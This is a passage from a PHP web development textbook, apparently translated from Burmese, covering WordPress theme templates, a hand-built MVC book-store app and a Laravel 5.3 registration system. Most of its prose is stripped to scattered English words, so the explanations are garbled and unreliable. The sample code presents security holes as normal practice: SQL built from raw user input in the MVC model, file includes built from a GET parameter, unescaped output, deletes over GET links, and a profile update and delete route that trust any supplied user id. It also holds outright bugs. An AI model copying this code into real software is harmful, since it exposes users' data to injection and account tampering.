Author: WordPressdotorg
Author URI: http://wordpress.org/
Version: 1.0
Tags: black, blue, white, two-columns, fixed-width, custom-header
License: MIT
License URI: [license url]
General comments (optional).
*/

CSS Style

index.php - Home Page Template Post


Template Structure
-

<?php get_header(); ?>


<div class="posts">
<?php while (have_posts()) : the_post(); ?>
<div class="post">
<h2 class="title">
<a href="<?php the_permalink() ?>">
<?php the_title(); ?>
</a>
</h2>

<div class="entry">
<?php the_content(); ?>
</div>
</div>
<?php endwhile; ?>

<div class="sidebar">
<?php get_sidebar(); ?>
</div>
</div>
<?php get_footer(); ?>

Bold WordPress Function get_header(), get_footer(),


get_sidebar() Function header.php, footer.php, sidebar.php
Template have_posts() Function
Professional Web Developer - () Content Management System - CMS 355

Post the_post() Function Post



mysqli_fetch_assoc() the_parmalink(),
the_title(), the_content() Function Post Link, Post
Body Post Home Page
Template

header.php - Document Type <head> Element


Content Template
-

<!doctype html>
<html>
<head>
<title><?php wp_title(); ?></title>
<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>">
<?php wp_head(); ?>
</head>
<body>

footer.php - </body> </html> Element Template


Copyright Information
Template -

<?php wp_footer(); ?>


</body>
</html>

sidebar.php - WordPress Website Sidebar Search Box, Category List, Calendar,


Tag Cloud Widget Appearance Widgets
Widget Sidebar Template Structure

-

<div class="sidebar">
<?php dynamic_sidebar('primary'); ?>
</div>

dynamic_sidebar() Function functions.php


Sidebar Register
Professional Web Developer - () Content Management System - CMS 356

$args = array(
'id' => 'primary',
'description' => 'Main Widget Area',
'class' => 'sidebar',
'before_widget' => '<li>',
'after_widget' => '</li>',
'before_title' => '<h2>',
'after_title' => '</h2>' );

register_sidebar( $args );

WordPress Theme Sidebar

comments.php - Comment Template Structure



Post Page Template comments_template() Function
Template

single.php - Post Template Structure


page.php - Page Template Structure

archive.php - Post Category () Author


Template Structure

search.php - Search Result Template Structure


functions.php - Template PHP Function


404.php - Link Post Page Template Structure


Category Based Home Page Layout



Setup WordPress Website Home Page Post
Post Blog Category Layout
index.php Template Structure
(-) Layout
Professional Web Developer - () Content Management System - CMS 357

(-) WordPress Category Based Layout

Home Page Post () Category Hero


Post
Category Feature Post () () Hero Feature
Hero Feature

Style CSS Template Structure CSS Select
Style Structure Layout index.php
-

<?php get_header(); ?>

<div class="contents">
<?php query_posts('showposts=1&cat=1&offset=0'); ?>
<?php while (have_posts()) : the_post(); ?>
<div class="hero">
<h2 class="hero-title">
<a href="<?php the_permalink() ?>"><?php the_title(); ?></a>
</h2>

<div class="hero-entry">
<?php the_content(); ?>
</div>
</div>
<?php endwhile; ?>

<?php $ft = new WP_Query(); $ft->query('showposts=3&cat=2&offset=0'); ?>


Professional Web Developer - () Content Management System - CMS 358

<?php while ($ft->have_posts()) : $ft->the_post(); ?>


<div class="feature">
<h2 class="feature-title">
<a href="<?php the_permalink() ?>">
<?php the_title() ?>
</a>
</h2>

<div class="festure-entry">
<?php the_content() ?>
</div>
</div>
<?php endwhile; ?>

<div class="sidebar">
<?php get_sidebar("one") ?>
<?php get_sidebar("two") ?>
</div>

</div>

<?php get_footer() ?>

query_post() Function cat=1 (Category ID One) Post


class=hero
<div>
Post CSS .hero Select
Style
WP_Query() Function
cat=2 (Category ID Two) Post
Post
class=feature <div> Element
WordPress Website Home Page CSS Layout

Developer Theme
Admin Dashboard Option
Option

wordpress.org Theme Directory Plugin Directory Popular


Theme Plugin WordPress

""



Professional Web Developer - () Content Management System - CMS 359

Conclusion
Content Website CMS

Website Front-End Template Design

Content Back-End CMS
CMS Developer

Resource


Website Web App CMS Content Website


App
App Web App Framework

(,)

() ()
Professional Web Developer - () Model-View-Controller - MVC 361

() Model-View-Controller - MVC
Code

Web App Software (Maintainable )


Software Maintenance

Software Maintenance

Software Development Maintenance (Bug Fix) Feature


Enhancement Code
Requirement

Bug


(Error) Software Bug Bug
Free Software Bug
Code Maintainable

Maintainable Code


Maintainable Code -

.) Code Duplication
.)
.) Coding Standard
.) Code
Professional Web Developer - () Model-View-Controller - MVC 362

.) Code Duplication




D.R.Y Principle
D.R.Y Don't Repeat Yourself

.) Decoupling Function
Function Function
Function Function

Function Function
Function Function
Developer

.) Developer Code Code Writing Style Guide Coding


Standard Variable Function Class
Bracket Indent Comment
Code File File Extension


Coding Standard

Coding Standard Program Coding


Standard Code
Developer Code
Consistence


Programming Language Coding Standard
Language Standard

JavaScript Coding Standard http://javascript.crockford.com/code.html


PHP http://pear.php.net/manual/en/standards.php

.)
Project Code Online
Book Store cat-add.php, book-add.php, cat-new.php, book-
Professional Web Developer - () Model-View-Controller - MVC 363

new.php, cat-update.php, book-update.php File


Script File Ajax Todo List
api.php

Code File
Maintainable Code
Pattern
M-V-C Code
Pattern Three-Tier Architecture
Presentation-abstraction-control (PAC)


Code Maintain

11.1 - M-V-C (Model-View-Controller)


MVC Model-View-Controller App Project Code
Pattern MVC Pattern
Code Model, View Controller
MVC

Software MVC

MVC Smalltalk Programming Language


Pattern General Purpose Pattern Software
Web App Development

Ruby on Rails Ruby Programming Language Web App Framework MVC


Web Development Pattern

Rails MVC Web App Framework
Rails Framework
Rails MVC Pattern
Professional Web Developer - () Model-View-Controller - MVC 364

11.2 - MVC Workflow


MVC Model View App Domain Logic
Model Model App
Input
Model

Model View

View Model

Presentation
Logic Model Presentation View
Decouple Model View

Maintenance
View
Logic

Logic
Model
Presentation

Maintenance Code
Software "Design First Approach" User
Interface (View)
Software

Software Requirement

Logic (Model) ()
User Interface
User Interface Logic

Prototype Interface
Interface
Feedback
Logic User Interface

Logic Interface

Software "Design First Approach"

Professional Web Developer - () Model-View-Controller - MVC 365

Logic Presentation Logic Presentation "Design First


Approach"
MVC Logic
Presentation Presentation

Logic UI
Software Project MVC

Software Team Agile Development


Project Management "Ship Early, Ship Often"
Design First "
"
Feedback

MVC Maintainability

Software Developer
Software
Developer MVC Software
Developer

Agile Development Rockstar Developer


Agile Iterative Development, SCRUM, Pair Programming, Continues Integration

View Model
Controller Controller

Controller
Action
Model Model View
View

Controller Input Output Model


View Web App Input
Request Output Respond Web App Controller
Request Respond
Professional Web Developer - () Model-View-Controller - MVC 366

View Model

View (Input/Output
) Controller Model

MVC
Model, View Controller
View Logic Code
Program Controller Logic
Model
Program

Logic Presentation MVC
MVC Pattern
Maintainable
Model, View, Controller
Code
MVC App Maintainable
Maintainable MVC
(-)

(-) M-V-C Workflow


Professional Web Developer - () Model-View-Controller - MVC 367

Order List Order List


Request Controller Model
Order List View View Format Layout
Order List Format Respond

11.3 - Building MVC Pattern


Zend Framework, Laravel PHP MVC Framework
Framework
MVC PHP App
() Framework Utility Library
Widget Toolkit MVC Pattern
Framework Framework Pattern


MVC

Laravel Framework MVC Code


MVC MVC Pattern
PHP () Online Book Store
categories Table Record
MVC htdocs Folder mvc
Folder mvc Folder File Folder
-

mvc/
|-- models/
| |-- category.php
|-- views/
| |-- category/
| | |--list.php
| | |--new.php
|-- controllers/
| |-- category.php
|-- index.php
|-- mvc.php
|-- .htaccess

Code models, views, controllers Folder


Folder Folder
Script URL
Apache URL Rewrite URL Structure
.htaccess File URL Rewrite Rule
Professional Web Developer - () Model-View-Controller - MVC 368

RewriteEngine On
RewriteBase /mvc/

RewriteRule ^(\w+)/(\w+)/(\w+)/?$ mvc.php?controller=$1&action=$2&id=$3 [L,QSA]


RewriteRule ^(\w+)/(\w+)/?$ mvc.php?controller=$1&action=$2 [L,QSA]
RewriteRule ^(\w+)/?$ mvc.php?controller=$1 [L,QSA]
RewriteRule . mvc.php?controller=category [L,QSA]

Rule

RewriteRule ^(\w+)/(\w+)/?$ mvc.php?controller=$1&action=$2

(\w+) ([a-zA-Z0-9_]+) Word Character


a z 0 9
Underscore English Word
Character Word Block Rewrite URL

- http://localhost/mvc/book/list/ Rule URL -

http://localhost/mvc/mvc.php?controller=book&action=list -

MVC Structure controller, action id Request Value


URL Pattern http://localhost/mvc/[controller]/[action]/[id]
controller Block action id
Value Query String Query String

URL URL Rewrite Rule
Rule controller category Default

mvc.php
Professional Web Developer - () Model-View-Controller - MVC 369

<?php
# Render view function
function render( $template, $data = array() ) {
$controller = $_GET['controller'];

$view_file = "views/${controller}/${template}.php";

if(file_exists( $view_file ) and !is_dir( $view_file )) {

$view = $view_file;
include("index.php");

} else {
exit("View not found -> $view_file");
}
}

# Setting URL Varaibles


$controller = $_GET['controller'];
$action = isset($_GET['action']) ? $_GET['action'] : "";
$id = isset($_GET['id']) ? $_GET['id'] : "";

# Loading model
$model_file = "models/${controller}.php";

if(file_exists( $model_file ) and !is_dir( $model_file )) {

include( $model_file );

} else {
exit("Model not found -> $model_file");
}

# Loading controller
$controller_file = "controllers/${controller}.php";

if(file_exists( $controller_file ) and !is_dir($controller_file)) {

include( $controller_file );

} else {
exit("Controller not found -> $controller_file");
}
?>

mvc.php View, Model, Controller File


Script .htaccess Request Script
MVC Structure Driver

View render() Function Function


View Template Include URL
Professional Web Developer - () Model-View-Controller - MVC 370

Controller $view Variable View Template Path


index.php Include index.php
$view Variable View Template

$view_file = "views/${controller}/${view}.php";
Statement
Variable ${...} -

$view_file = "views/$controller/$view.php";

- Variable
Variable

Code controller Model File


Controller File Include Model Controller Error Message
Script Request Value $controller,
$action, $id Variable index.php
Code

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>PHP M-V-C</title>
<style>
body {
font-family: arial;
background: #efefef;
}

.wrap {
width: 600px;
margin: 20px auto;
border: 4px solid #ddd;
background: #fff;
}

h1 {
background: #efefef;
margin: 0; padding: 8px;
font-size: 21px;
}

h2 {
font-size: 18px;
margin: 0 0 10px 0;
padding: 0 0 8px 0;
border-bottom: 1px solid #ddd;
}
Professional Web Developer - () Model-View-Controller - MVC 371

.foot {
font-size: 13px;
color: #999;
text-align: center;
padding: 8px;
border-top: 1px solid #ddd;
}

.content {
padding: 20px;
}
</style>
</head>
<body>
<div class="wrap">
<h1>Book Category</h1>

<div class="content">
<?php include($view) ?>
</div>

<div class="foot">&copy; 2013</div>


</div>
</body>
</html>

index.php View Wrapper Main Document Structure App


Interface Copyright Statement Element

CSS JavaScript
File CSS index.php Internal Style

$view Variable Include View Template


render() Function render() Function View Template Path
$view Variable index.php include($view)
View Template

controllers/category.php
Professional Web Developer - () Model-View-Controller - MVC 372

<?php
switch($action) {
case "":
case "list":
show_list();
break;
case "new":
show_new();
break;
case "add":
add_cat();
break;
case "del":
rm_cat($id);
default:
exit("Unknown action -> $action");
}

function show_list() {
$cats = get_cats();
render("list", $cats);
}

function show_new() {
render("new");
}

function add_cat() {
$name = $_POST['name'];
$result = insert_cat($name);

header("location: http://localhost/mvc/category/list/");
}

function rm_cat($id) {
$result = del_cat($id);

header("location: http://localhost/mvc/category/list/");
}
?>

$action Variable URL Action mvc.php


Variable switch() Statement Action Function

Controller Request
Request mvc/category/
list/ Action list show_list() Function

show_list() Function Model
get_cats() Function

show_list() Function get_cats() Function Category


Professional Web Developer - () Model-View-Controller - MVC 373

render() Function View Template


list Data get_cats() Category

Model get_cats() model/category.php


<?php
$conn = mysqli_connect("localhost", "root", "");
mysqli_select_db($conn, "store");

function get_cats() {
global $conn;
$result = mysqli_query($conn, "SELECT * FROM categories");

$cats = array();
while($row = mysqli_fetch_assoc($result)) {
$cats[] = $row;
}

return $cats;
}

function insert_cat($name) {
global $conn;
mysqli_query($conn, "INSERT INTO categories
(name, created_date, modified_date)
VALUES ('$name', now(), now())"
);

return mysql_insert_id();
}

function del_cat($id) {
global $conn;
mysqli_query($conn, "DELETE FROM categories WHERE id = $id");

return mysql_affected_rows();
}
?>

Model Request/Respond
Table Script

view/category/list.php
Professional Web Developer - () Model-View-Controller - MVC 374

<h2>List</h2>
<ul>
<? foreach($data as $cat): ?>
<li>
[ <a href="http://localhost/mvc/category/del/<?= $cat['id'] ?>">del</a> ]
<strong><?= $cat['name'] ?></strong>
</li>
<? endforeach; ?>
</ul>

<br>
<a href="http://localhost/mvc/category/new/">New Category</a>

View Template Request/Respond



$data Variable Variable
http://localhost/category/list/ Request index.php
View Template (-)

(-) category/list/ Result

(-) Browser URL


mvc/category/list/
Delete
del Link mvc/category/del/[id] Request
Controller del Action

Professional Web Developer - () Model-View-Controller - MVC 375

Category View Template


view/category/new.php -

<h2>New</h2>
<form action="http://localhost/mvc/category/add/" method="post">
<input type="text" name ="name" placeholder="Category name">
<input type="submit" value="Add">
</form>

<br>
<a href="http://localhost/mvc/category/list/">Category List</a>

View Template Template


Form action mvc/category/add/ Form
Request Controller add Action add Action
add_cat() Function add_cat() Function Model
insert_cat() Function Form Data categories Table

Code Code

Edit
view/category/list.php Edit Link view/category/ edit.php
( ) Edit Form View Template
controllers/category.php edit update Action
models/category.php categories Table Update

Model View Template Pattern


Book
Controller, Book Model Book View Category MVC
Model View
Category Book MVC

Professional Web Developer - () Model-View-Controller - MVC 376

Conclusion
"MVC "

App


Project MVC Architecture Pattern

Professional Web Developer Course

- ()

www.fairway.com.mm
Professional Web Developer - () MVC with Laravel 378

() MVC with Laravel


Laravel PHP Framework

MVC Code MVC


Laravel PHP Framework MVC
Laravel
Framework PHP Framework
Version Laravel 5.3

Laravel Code Laravel


Code
PHP Language Design
Language
PHP Language Design Laravel

Laravel PHP Version


Namespace, Anonymous Function, PHP Development Server
Composer Package Management
Database Eloquent ORM (Object
Relational Mapping) Blade Template Engine
Authentication Development Environment
Deployment Homestead Virtualization

Laravel MVC Code

Professional Web Developer - () MVC with Laravel 379

12.1 - Installing Laravel


Laravel Framework PHP 5.6.4 PHP 7
PDO, Mbstring, Tokenizar PHP Extension
System Requirement XAMPP Extension

Laravel Install Composer PHP Package Manager


Install Composer
Download


Composer Install
Package

Laravel 5.3 Package


Download

http://eimaung.com/pwd-rc/laravel-5.3-all.zip

CD
Download
CD Zip laravel
Directory
Directory

laravel
app
Commands
Http
Services
User.php
artisan
bootstrap
composer.phar
config
app.php
auth.php
database.php
session.php
view.php
database
public
css
index.php
Professional Web Developer - () MVC with Laravel 380

resources
views
routes
api.php
web.php
server.php
storage
tests
vendor
autoload.php
composer
doctrine
laravel
monolog
phpdocumentor
phpspec
phpunit
swiftmailer
symfony


laravel Directory XAMPP Document Root (htdocs) Laravel Framework
Web Browser localhost/laravel/public

(-) Laravel First Run


Professional Web Developer - () MVC with Laravel 381

Laravel URL public Directory


Folder App Source Code Package
public Directory Directory

/app App Source Code Directory


app Console, Events, Http
Directory
App Model Code
Directory Directory

/app/Http/Controllers MVC Controller Requests/Responses
Controller Code
Directory
/config Framework Setting Directory

/config/database.php Database Database Username,
Password Setting


/config/auth.php Laravel Authentication
Setting

/public Static Resources CSS JavaScript Font
Logo Image Directory

/resources HTML Template, CoffeeScript, LESS, SASS Pre-
processor Source Code
Directory
/resources/views View Template Blade Template Engine
View Code Directory

/routes/web.php URI
Controller URI
Controller Action

Professional Web Developer - () MVC with Laravel 382

/database SQLite Standard Alone Database Database Structure


Migration Directory

/storage Framework Generate Session Data Cache
Log Directory
Linux System Directory Write Permission

/vendor Laravel Source Code Package Directory

/tests Unit Testing Unit Test
Code Directory
/bootstrap App Run Include Load

Directory
artisan Laravel Command Line Tool Project Run
Database Migration Run Model Controller

.env Environment Setting
- Local Develop Database
Username, Password Server Distribute
Database Username, Password
Environment Setting

12.2 - Laravel Router


App
URI

Routing /routes/web.php Routing

Route::get('/user', function () {
return 'Hello User';
});

/user URI Request Function


Nameless Function /user URI
Professional Web Developer - () MVC with Laravel 383

Request Hello User Message Response

Function Controller Action


-

Route::get('/user', 'UserController@index');

/user URI Request UserController index Action


get() Function
Request Method GET Request Method POST Route
get() Function post() Function
Request Method PUT DELETE put() Function
delete() Function Request Method
all() Function

Variable Parameter Route URI


-

Route::post('/user/update/{id}', 'UserController@update');

/user/update/123 URI {id} Parameter 123


$id Variable Laravel 123
123

12.3 - Laravel Controllers and Views


Laravel Controller /app/Http/Controllers/ Directory
Controller.php Class
Controller Class - index update
Action UserController UserController.php
Code
Professional Web Developer - () MVC with Laravel 384

<?php

namespace App\Http\Controllers;

use App\Http\Controllers\Controller;

class UserController extends Controller


{
function index() {
return 'I am Index';
}

function update($id) {
return "I am updating $id";
}
}

Laravel Controller Class App\Http\Controllers Namespace



Code namespace App\Http\Controllers

App\Http\Controllers Namespace Controller Sub-


Namespace Namespace
use Keyword

Controller UserController extends Keyword Controller
Class Inherit use
extends App\Http\Controllers\Controller\Controller

UserController index update Action


index()
update() Function update() Function
$id Variable $id Variable URI Route {id} Parameter

index update Action Text Message Response


Text Message Response HTML Template Response
View

View Template Blade Template Engine /resources/views/ Directory


Blade Template Engine HTML PHP
- /resources/views/ Directory users Directory
hello.blade.php Template
Professional Web Developer - () MVC with Laravel 385

<!DOCTYPE html>
<html lang="en">
<head>
<title>Laravel Example</title>
</head>
<body>
<h1>Index</h1>
<p>Hello World!</p>
</body>
</html>

HTML Code Template UserController


index Action Response

function index() {
return view("user/hello");
}

view() Function Response Template user Directory


hello.blade.php view() Function File
Extension blade.php

View Template Data Template view() Function


- index Action

function index() {
return view("user/hello", array(
"name" => "John Doe"
));
}

Array view() Function Parameter Array


Index name Template $name Variable Laravel
Template
Professional Web Developer - () MVC with Laravel 386

<!DOCTYPE html>
<html lang="en">
<head>
<title>Laravel Example</title>
</head>
<body>
<h1>Index</h1>
<p>Hello <?= $name ?>!</p>
</body>
</html>

$name Variable PHP

12.4 - Master View


View Template App
Main Content Menu, Logo, Title, Footer Component View
Master View

(-) Master View

Main Template View


Laravel Main View
Master View master.blade.php

Professional Web Developer - () MVC with Laravel 387

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Master View</title>
</head>
<body>
<h1>Hello, World!</h1>
<div class="container">
@yield("main")
</div>
</body>
</html>

Class container
<div> @yield("main")
Main Section Master View
View
index.blade.php

@extends("master")

@section("main")
<h2>Index</h2>
<p>Content</p>
@stop

@extends("master") master.blade.php Template


Master View app.blade.php
@edtends("app")

Content @section("main") @stop


Master View @yield("main") @section("main")

Master View View Controller


function index() {
return view("index");
}
Professional Web Developer - () MVC with Laravel 388

Response Index View Index View


Master View Extend Laravel Blade Template Engine Master View
Index View Response

12.5 - Redirect
View Response
() Route Redirect
Laravel redirect() Function Redirect Route
Controller Action

Route Redirect

return redirect('user/list');

user/list Route Redirect


Action Redirect

return redirect('UserController@new');

UserController new Action Redirect


Redirect Error Message Information Message
-

return redirect('user/profile')->with('info', 'Login Successful');

with() Function Message info Message


Content Login Successful Message View Template

<? if( session('info') ): ?>


<div class="info">
<?= session('info') ?>
</div>
<? endif; ?>
Professional Web Developer - () MVC with Laravel 389

with() Function Message SESSION Message


session() Function info
Message Class info <div>
Message Redirect

12.6 - Validation
User Input Data Validation App
Laravel Validation Class Class
Validation Validation Class
use Keyword

use Validation;

Validation User Input Data User Input Data


Request Class

use Request;

Request Class all() Function Request Input Data


Input Data -

1. name
2. email Email Format
3. password ()
4. password_again password

- Validation

$input = Request::all();

$validator = Validator::make($input, array(


"name" => "required",
"email" => "required|email",
"password" => "required|min:6",
"password_again" => "same:password"
));

Request::all() Input Data Validator::make()


Professional Web Developer - () MVC with Laravel 390

Function Parameter Input Data Parameter Validation Rule


Array

name required
email required email

password min:6
password_again password
same
Pass
passes() Function -

if( $validator->passes() ) {
redirect ('user/login')->with('info', 'Success');
} else {
redirect ('user/register')->withErrors( $validator );
}

Validation Passes Redirect Validation Error Message


withErrors() Function Validation Error
View Template $errors Object View
Template Validation Error Message

<? if( count($errors) ): ?>


<ul class='errors'>
<? foreach( $errors->all() as $err ): ?>
<li><?= $err ?></li>
<? endforeach; ?>
</ul>
<? endif; ?>

$errors Message count() Function


<ul> Element
Error Message Loop $errors Object Error
Message Array all() Function Array
foreach Loop

Validation required, email, min, same Option


http://laravel.com/docs/5.3/validation
Professional Web Developer - () MVC with Laravel 391

12.7 - Authentication
Laravel User Authentication
use Keyword Authenticate Class

use Auth;

Laravel Authentication ()

users Table Laravel users


Table User Authenticate

users Table App
password Field remember_token Field

/config/auth.php Authentication Driver



/config/auth.php Default Setting

'driver' => 'eloquent'

Eloquent ORM Authentication

'driver' => 'database'

Login Form CSRF Token CSRF


() Web App Security Login Form

<form method="post" action="<?= URL::to('user/login') ?>">


<input type="hidden" name="_token" value="<?= csrf_token() ?>">

<input type="email" name="email" required placeholder="Your Email">


<input type="password" name="password" required placeholder="Password">

<input type="submit" value="Login">


</form>

Form action Attribute


Route
URL::to() name
Professional Web Developer - () MVC with Laravel 392

_token
Hidden Input Hidden Input value
csrf_token() Function

Cross-Site Request Forgery Laravel


Login Form Form Login
Form Authenticate

$input = Request::all();

if(Auth::attempt( array(
'email' => $input['email'],
'password' => $input['password']
))) {
return redirect('user/profile');
} else {
return redirect('user/login')->withErrors(
array('Login failed! Try again.')
);
}

Login Form Data Request::all()


Auth::attempt() Function Login Form Email Password users
Table email, password
Login Login Authenticate
Auth::check() Function

if( !Auth::check() ) {
return redirect('user/login')->with('info', 'Please login first!');
}

Authenticate user/login Redirect Authenticate


User Auth::user()

$user = Auth::user();

Authenticate User Logout


Auth::logout()

Authentication Password Hash Password users


Table Plain Text Hash Hash
Laravel Hash Class
Professional Web Developer - () MVC with Laravel 393

use Hash;

Hash::make() Function Password Hash

$password = 'mypassword';
$hashed_password = Hash::make($password);

Hash::make() Hash Password users Table


Auth::attempt() Function Login Laravel User
Password Hash users Table Password Hash
Password Hash () Web App Security

12.8 - Database
Laravel Database Eloquent ORM

Database Query Laravel Database
DB Class

use DB;

class User
{
static function create() {
$name = 'John Doe';
$email = 'john@example.com';
$result = DB::insert("INSERT INTO users (name, email)
VALUES ('$name', '$email'));

return $result;
}
}

DB Class use Keyword


User Class
create() Function
create() Function DB::insert() INSERT Query
Run create() Function static Function
create() Function Object
Class Name User
Professional Web Developer - () MVC with Laravel 394

User::create();

Query

static function create() {


$name = 'John Doe';
$email = 'john@example.com';
$result = DB::insert("INSERT INTO users (name, email) VALUES (?, ?),
array($name, $email)
);

return $result;
}

Query Statement Data Value $name $email


DB::insert()
Function Parameter Query Statement Data

() Web App Security PHP Database Extension PDO
Laravel Database PDO

INSERT Query DB::insert() SELECT Query DB::select()

$result = DB::select('SELECT * FROM users');

DB::select() Array UPDATE Query


DB:update() DELETE Query DB::delete()
Function UPDATE DELETE Query Run Record

Database Class Model


/app/ Directory
App\Models Namespace
Code Class Model Namespace

namespace App\Models;
Professional Web Developer - () MVC with Laravel 395

12.9 - User Registration System Example


User Registration System
Code Code

M-V-C

laravel
app

Http
Controllers

UserController.php (new)

routes.php
Models (new)
User.php (new)

config
auth.php

database.php

public
css
app.css

index.php
resources

views

template.blade.php (new)
user (new)
login.blade.php (new)
profile.blade.php (new)
register.blade.php (new)

1. /app/Http/Controllers/ UserController.php
2. /app/ Models Directory
3. /app/Models/ User.php
4. /resources/views/ template.blade.php Master View
5. /resources/views/ user Directory
6. /resources/views/user/ View
login.blade.php, profile.blade.php, register.blade.php
Professional Web Developer - () MVC with Laravel 396

Code User Account Database Table


phpMyAdmin mydb Database
users Table Field

users Table
id - INT - Auto Increment / Primary Key
name - VARCHAR (255)
email - VARCHAR (255)
phone - VARCHAR (255)
address - TEXT
password - VARCHAR (255)
remember_token - VARCHAR (255)

Setting
Eloquent ORM
/config/auth.php -

'users' => [
'driver' => 'eloquent',
'model' => App\User::class,
],

'users' => [
'driver' => 'database',
'table' => 'users',
],

/config/database.php Database Setting

'mysql' => [
'driver' => 'mysql',
'host' => 'localhost',
'port' => '3306',
'database' => 'mydb',
'username' => 'root',
'password' => '',
'charset' => 'utf8',
'collation' => 'utf8_unicode_ci',
'prefix' => '',
'strict' => false,
'engine' => null,
],
Professional Web Developer - () MVC with Laravel 397

database, username password


strict
false

/routes/web.php Code

<?php

Route::get('/', 'UserController@index');
Route::get('/user/login', 'UserController@index');
Route::post('/user/login', 'UserController@login');

Route::get('/user/register', 'UserController@register');
Route::post('/user/register', 'UserController@create');

Route::get('/user/profile', 'UserController@profile');
Route::post('/user/profile', 'UserController@update');

Route::get('/user/logout', 'UserController@logout');

Route::get('/user/delete/{id}', 'UserController@delete');

Code Root URI GET Request UserController


index Action
/user/login URI GET Request UserController index
Action
/user/login URL POST Request UserController
login Action

Route

/app/Models/
user.php Code
Professional Web Developer - () MVC with Laravel 398

<?php
namespace App\Models;

use DB, Hash;

class User {
static function insert($input) {
$data = array(
$input['name'],
$input['email'],
Hash::make($input['password'])
);

$result = DB::insert("INSERT INTO users (


name, email, password
) VALUES (?, ?, ?)", $data);
return $result;
}

static function update($input) {


if($input['password']) {
$data = array(
$input['name'],
$input['email'],
Hash::make($input['password']),
$input['phone'],
$input['address'],
$input['id']
);

$result = DB::update("UPDATE users SET name = ?, email = ?,


password = ?, phone = ?, address = ?
WHERE id = ?", $data);
} else {
$data = array(
$input['name'],
$input['email'],
$input['phone'],
$input['address'],
$input['id']
);

$result = DB::update("UPDATE users SET name = ?, email = ?,


phone = ?, address = ?"
WHERE id = ?", $data);
}

return $result;
}

static function delete($user_id) {


$result = DB::delete("DELETE FROM users WHERE id = ?",
array($user_id));
return $result;
}
Professional Web Developer - () MVC with Laravel 399

User Class Model Class App\Models Namespace


Class insert(), update() delete() Function ()

insert() Function Input Data users Table password


Hash update() Function Data users
Table Update Input Data password password
Update password Update delete()
Function User ID Record users Table
Model Data Create, Read, Update, Delete

/app/Http/Controllers/UserController.php Code

<?php
namespace App\Http\Controllers;

use App\Http\Requests;
use App\Http\Controllers\Controller;

use Request;
use Validator;
use Auth;

use App\Models\User;

class UserController extends Controller {

function index() {
if(Auth::check())
return redirect("user/profile");

return view("user/login");
}

function login() {
$input = Request::all();

if(Auth::attempt([
'email' => $input['email'],
'password' => $input['password']
])) {
return redirect('user/profile');
} else {
return redirect('user/login')
->withErrors(array('Login failed! Try again.'));
Professional Web Developer - () MVC with Laravel 400

}
}
function register() {
if(Auth::check())
return redirect("user/profile");

return view("user/register");
}
function create() {
$input = Request::all();

$validator = Validator::make($input, array(


"name" => "required",
"email" => "required|email|unique:users",
"password" => "required|min:6",
"password_again" => "same:password"
));

if($validator->passes()) {
User::insert($input);
return redirect('user/login')
->with('info', 'Register success!');
} else {
return redirect('user/register')
->withErrors($validator);
}
}
function profile() {
if(!Auth::check())
return redirect("user/login");

$user = Auth::user();
return view('user/profile', array(
'id' => $user->id,
'name' => $user->name,
'email' => $user->email,
'address' => $user->address,
'phone' => $user->phone
));
}
function update() {
$input = Request::all();
User::update($input);

return redirect("user/profile")
->with("info", "Profile Updated!");
}
function logout() {
Auth::logout();
return redirect('user/login');
}
function delete($user_id) {
Auth::logout();
User::delete($user_id);
return redirect('user/register');
}
Professional Web Developer - () MVC with Laravel 401

Class Controller Class App\Http\Controllers Namespace


User Request App\Http\Requests
Controller App\Http\Controller use Keyword
Request, Validator, Auth Class
User Model

index Action Authentication Authenticate user/profile


Route Redirect Authenticate user/login View

login Action Login Form Input Data Auth::attempt()
Authenticate Authenticate user/profile Route
Redirect user/login Route Error Message
Redirect
register Action Authentication Authenticate user/profile
Route Redirect Authenticate user/register View

create Action Register Form Input Data Validate
email Field unique unique:users
users Table email
Validation Pass Model insert() Function User Data users Table
user/login Route Redirect Validation
Fail user/register Route Error Message Redirect
profile Action Authentication Authenticate user/login
Route Redirect Authenticate user/profile View
View Login User

update, logout delete Action



Route, Model Controller View Template


Master View /resources/views/template.blade.php

Professional Web Developer - () MVC with Laravel 402

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Laravel Example</title>

<link href="<?= URL::asset('css/app.css') ?>" rel="stylesheet">


</head>
<body>
<h1>Laravel Example</h1>
<div class="container">
@yield("main")
</div>
</body>
</html>

CSS Path URL::asset()


/resources/views/user/login.blade.php

@extends("template")

@section("main")
<h2>Login</h2>
<? if( count($errors) ): ?>
<div class="errors">
<ul>
<? foreach($errors->all() as $err): ?>
<li><?= $err ?></li>
<? endforeach; ?>
</ul>
</div>
<? endif; ?>

<? if( session('info') ): ?>


<div class="info">
<?= session('info') ?>
</div>
<? endif; ?>

<form method="post" action="<?= URL::to('user/login') ?>">


<input type="hidden" name="_token" value="<?= csrf_token() ?>">

<input type="email" name="email" required placeholder="Your Email"><br>


<input type="password" name="password" required placeholder="Password">

<br><br>

<input type="submit" value="Login">


<a href='<?= URL::to('user/register') ?>'>Register</a>
</form>
Professional Web Developer - () MVC with Laravel 403

@stop

Login Form Error Message



user/register Route Link
Register Form /resources/views/user/register.blade.php

@extends("template")

@section("main")
<h2>Register</h2>

<? if( count($errors) ): ?>


<div class="errors">
<ul>
<? foreach($errors->all() as $err): ?>
<li><?= $err ?></li>
<? endforeach; ?>
</ul>
</div>
<? endif; ?>

<form action="<?= URL::to('user/register') ?>" method="post">

<input type="hidden" name="_token" value="<?= csrf_token() ?>">

<input type="text" name="name" required placeholder="Your Name"><br>


<input type="email" name="email" required placeholder="Your Email"><br>
<input type="password" name="password" required
placeholder="Password"><br>
<input type="password" name="password_again" required
placeholder="Password Again">

<br><br>

<input type="submit" value="Register">


<a href='<?= URL::to('user/login') ?>'>Login</a>
</form>
@stop

User Profile /resources/views/user/profile.blade.php



Professional Web Developer - () MVC with Laravel 404

@extends("template")

@section("main")
<? if( session('info') ): ?>
<div class="info">
<?= session('info') ?>
</div>
<? endif; ?>

<form action="<?= URL::to('user/profile') ?>" method="post">

<input type="hidden" name="_token" value="<?= csrf_token() ?>">


<input type="hidden" name="id" required value="<?= $id ?>">

<input type="text" name="name" required value="<?= $name ?>">


Name<br>
<input type="email" name="email" required value="<?= $email ?>">
Email<br><br>
<input type="text" name="phone" value="<?= $phone ?>">
Phone<br>

<input type="text" name="address" value="<?= $address ?>">


Address

<br><br>
<input type="password" name="password">
Password
<br><br>

<input type="submit" value="Update">

<br><br>

